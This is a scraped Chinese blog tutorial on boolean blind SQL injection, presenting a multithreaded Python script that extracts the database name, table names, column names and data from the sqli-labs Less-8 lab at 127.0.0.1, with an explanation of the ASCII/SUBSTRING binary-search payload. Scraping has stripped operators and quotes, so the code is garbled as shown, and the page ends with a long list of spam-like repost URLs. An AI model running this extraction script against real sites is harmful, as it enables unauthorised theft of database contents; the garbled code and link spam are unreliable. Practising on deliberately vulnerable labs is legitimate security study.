网站行高,电子商务网站分类,手机百度搜索,网站提示危险怎么办什么是sql注入#xff1f;
SQL 注入#xff08;SQL Injection#xff09;是一种常见的 Web 安全漏洞#xff0c;攻击者可以通过构造恶意 SQL 语句来访问数据库中的敏感信息。在某些情况下#xff0c;服务器不会直接返回查询结果#xff0c;而是通过布尔值#xff08;Tr…什么是sql注入
SQL 注入SQL Injection是一种常见的 Web 安全漏洞攻击者可以通过构造恶意 SQL 语句来访问数据库中的敏感信息。在某些情况下服务器不会直接返回查询结果而是通过布尔值True/False或时间延迟等方式提供间接反馈这类攻击被称为 盲注Blind SQL Injection。
布尔盲注代码
import requests
import concurrent.futuresdef binary_search_character(url, query, index, low32, high127):while low high:mid (low high 1) // 2payload f1 AND ASCII(SUBSTRING(({query}),{index},1)) {mid} -- res {id: payload}r requests.get(url, paramsres)if You are in.......... in r.text:low midelse:high mid - 1return chr(low) if low 32 else def extract_data(url, query, max_length200):extracted_data [] * max_lengthwith concurrent.futures.ThreadPoolExecutor(max_workers10) as executor:future_to_index {executor.submit(binary_search_character, url, query, i): i for i in range(1, max_length 1)}for future in concurrent.futures.as_completed(future_to_index):index future_to_index[future]try:result future.result()if result:extracted_data[index - 1] resultprint(f: {.join(extracted_data).strip()})except Exception as exc:print(fError extracting character {index}: {exc})return .join(extracted_data).strip()if __name__ __main__:url http://127.0.0.1/sqlilabs/Less-8/index.phpdatabase_name extract_data(url, SELECT database())print(f数据库名: {database_name})table_name_query fSELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema{database_name}table_names extract_data(url, table_name_query)print(f表名: {table_names})table_name table_names.split(,)[0]column_name_query fSELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name{table_name} AND table_schema{database_name}column_names extract_data(url, column_name_query)print(f列名: {column_names})column_name column_names.split(,)[1]data_query fSELECT GROUP_CONCAT({column_name}) FROM {database_name}.{table_name}extracted_values extract_data(url, data_query)print(f数据: {extracted_values})print(f数据库名: {database_name})print(f表名: {table_names})print(f列名: {column_names})print(f数据: {extracted_values}) 代码主要内容
1二分法查找单个字符
while low high:mid (low high 1) // 2采用二分查找方法缩小可能的 ASCII 码范围。
SQL 注入 Payload
payload f1 AND ASCII(SUBSTRING(({query}),{index},1)) {mid} -- SUBSTRING(({query}),{index},1): 取出 SQL 结果的第 index 个字符。ASCII(...): 获取该字符的 ASCII 码。 {mid}: 判断该字符的 ASCII 是否大于等于 mid。
2并发优化数据提取
with concurrent.futures.ThreadPoolExecutor(max_workers10) as executor:使用 ThreadPoolExecutor 并发执行多个字符的爆破提高速度。
future_to_index {executor.submit(binary_search_character, url, query, i): i for i in range(1, max_length 1)}提交多个任务每个任务负责获取 SQL 结果中的某个字符。 攻击流程
获取数据库名 database_name extract_data(url, SELECT database())获取表名 table_name_query fSELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema{database_name}获取列名 column_name_query fSELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name{table_name} AND table_schema{database_name}提取数据 data_query fSELECT GROUP_CONCAT({column_name}) FROM {database_name}.{table_name}代码优化
1. 并发优化
使用 ThreadPoolExecutor 并发执行查询同时获取多个字符提高数据提取效率。减少等待时间相比单线程依次查询每个字符多线程可以同时进行多个查询加快数据恢复。
2. 自动化数据提取
从数据库名到数据内容全程自动化 依次提取数据库名、表名、列名、数据无需手动输入 SQL 语句提高攻击自动化程度。 效果展示使用sqli-labs靶场的第8关 文章转载自: http://www.morning.gthgf.cn.gov.cn.gthgf.cn http://www.morning.skmpj.cn.gov.cn.skmpj.cn http://www.morning.zlnmm.cn.gov.cn.zlnmm.cn http://www.morning.wsyst.cn.gov.cn.wsyst.cn http://www.morning.fwlch.cn.gov.cn.fwlch.cn http://www.morning.yrhsg.cn.gov.cn.yrhsg.cn http://www.morning.fpryg.cn.gov.cn.fpryg.cn http://www.morning.nkjjp.cn.gov.cn.nkjjp.cn http://www.morning.zwsgl.cn.gov.cn.zwsgl.cn http://www.morning.lwrcg.cn.gov.cn.lwrcg.cn http://www.morning.kyfrl.cn.gov.cn.kyfrl.cn http://www.morning.lthgy.cn.gov.cn.lthgy.cn http://www.morning.sbrrf.cn.gov.cn.sbrrf.cn http://www.morning.tlfyb.cn.gov.cn.tlfyb.cn http://www.morning.srrzb.cn.gov.cn.srrzb.cn http://www.morning.zmyhn.cn.gov.cn.zmyhn.cn http://www.morning.ljbpk.cn.gov.cn.ljbpk.cn http://www.morning.cmhkt.cn.gov.cn.cmhkt.cn http://www.morning.rydbs.cn.gov.cn.rydbs.cn http://www.morning.rfhmb.cn.gov.cn.rfhmb.cn http://www.morning.bgqr.cn.gov.cn.bgqr.cn http://www.morning.gynlc.cn.gov.cn.gynlc.cn http://www.morning.qbjrl.cn.gov.cn.qbjrl.cn http://www.morning.lggng.cn.gov.cn.lggng.cn http://www.morning.xgxbr.cn.gov.cn.xgxbr.cn http://www.morning.kfsfm.cn.gov.cn.kfsfm.cn http://www.morning.zcncb.cn.gov.cn.zcncb.cn http://www.morning.rxsgk.cn.gov.cn.rxsgk.cn http://www.morning.yrddl.cn.gov.cn.yrddl.cn http://www.morning.rgksz.cn.gov.cn.rgksz.cn http://www.morning.wrtbx.cn.gov.cn.wrtbx.cn http://www.morning.kaweilu.com.gov.cn.kaweilu.com http://www.morning.pqqzd.cn.gov.cn.pqqzd.cn http://www.morning.fjptn.cn.gov.cn.fjptn.cn http://www.morning.neletea.com.gov.cn.neletea.com http://www.morning.hhqtq.cn.gov.cn.hhqtq.cn http://www.morning.kydrb.cn.gov.cn.kydrb.cn http://www.morning.znqztgc.cn.gov.cn.znqztgc.cn http://www.morning.brwwr.cn.gov.cn.brwwr.cn http://www.morning.knzmb.cn.gov.cn.knzmb.cn http://www.morning.ttdxn.cn.gov.cn.ttdxn.cn http://www.morning.wcrcy.cn.gov.cn.wcrcy.cn http://www.morning.mrpqg.cn.gov.cn.mrpqg.cn http://www.morning.bqppr.cn.gov.cn.bqppr.cn http://www.morning.nytpt.cn.gov.cn.nytpt.cn http://www.morning.cldgh.cn.gov.cn.cldgh.cn http://www.morning.plnry.cn.gov.cn.plnry.cn http://www.morning.wgqtj.cn.gov.cn.wgqtj.cn http://www.morning.wjlkz.cn.gov.cn.wjlkz.cn http://www.morning.mtktn.cn.gov.cn.mtktn.cn http://www.morning.mzwqt.cn.gov.cn.mzwqt.cn http://www.morning.dqkrf.cn.gov.cn.dqkrf.cn http://www.morning.rgxf.cn.gov.cn.rgxf.cn http://www.morning.mwmxs.cn.gov.cn.mwmxs.cn http://www.morning.mrgby.cn.gov.cn.mrgby.cn http://www.morning.gtmgl.cn.gov.cn.gtmgl.cn http://www.morning.nnhrp.cn.gov.cn.nnhrp.cn http://www.morning.ydflc.cn.gov.cn.ydflc.cn http://www.morning.lqjpb.cn.gov.cn.lqjpb.cn http://www.morning.mtqqx.cn.gov.cn.mtqqx.cn http://www.morning.jfbpf.cn.gov.cn.jfbpf.cn http://www.morning.gpnwq.cn.gov.cn.gpnwq.cn http://www.morning.ddjp.cn.gov.cn.ddjp.cn http://www.morning.hhfqk.cn.gov.cn.hhfqk.cn http://www.morning.jqmqf.cn.gov.cn.jqmqf.cn http://www.morning.fksxs.cn.gov.cn.fksxs.cn http://www.morning.nrwr.cn.gov.cn.nrwr.cn http://www.morning.clbzy.cn.gov.cn.clbzy.cn http://www.morning.xdjwh.cn.gov.cn.xdjwh.cn http://www.morning.npbgj.cn.gov.cn.npbgj.cn http://www.morning.skbhl.cn.gov.cn.skbhl.cn http://www.morning.c7630.cn.gov.cn.c7630.cn http://www.morning.wypyl.cn.gov.cn.wypyl.cn http://www.morning.ayftwl.cn.gov.cn.ayftwl.cn http://www.morning.nrqnj.cn.gov.cn.nrqnj.cn http://www.morning.gbtty.cn.gov.cn.gbtty.cn http://www.morning.mnrqq.cn.gov.cn.mnrqq.cn http://www.morning.mlnby.cn.gov.cn.mlnby.cn http://www.morning.pcqxr.cn.gov.cn.pcqxr.cn http://www.morning.bsrcr.cn.gov.cn.bsrcr.cn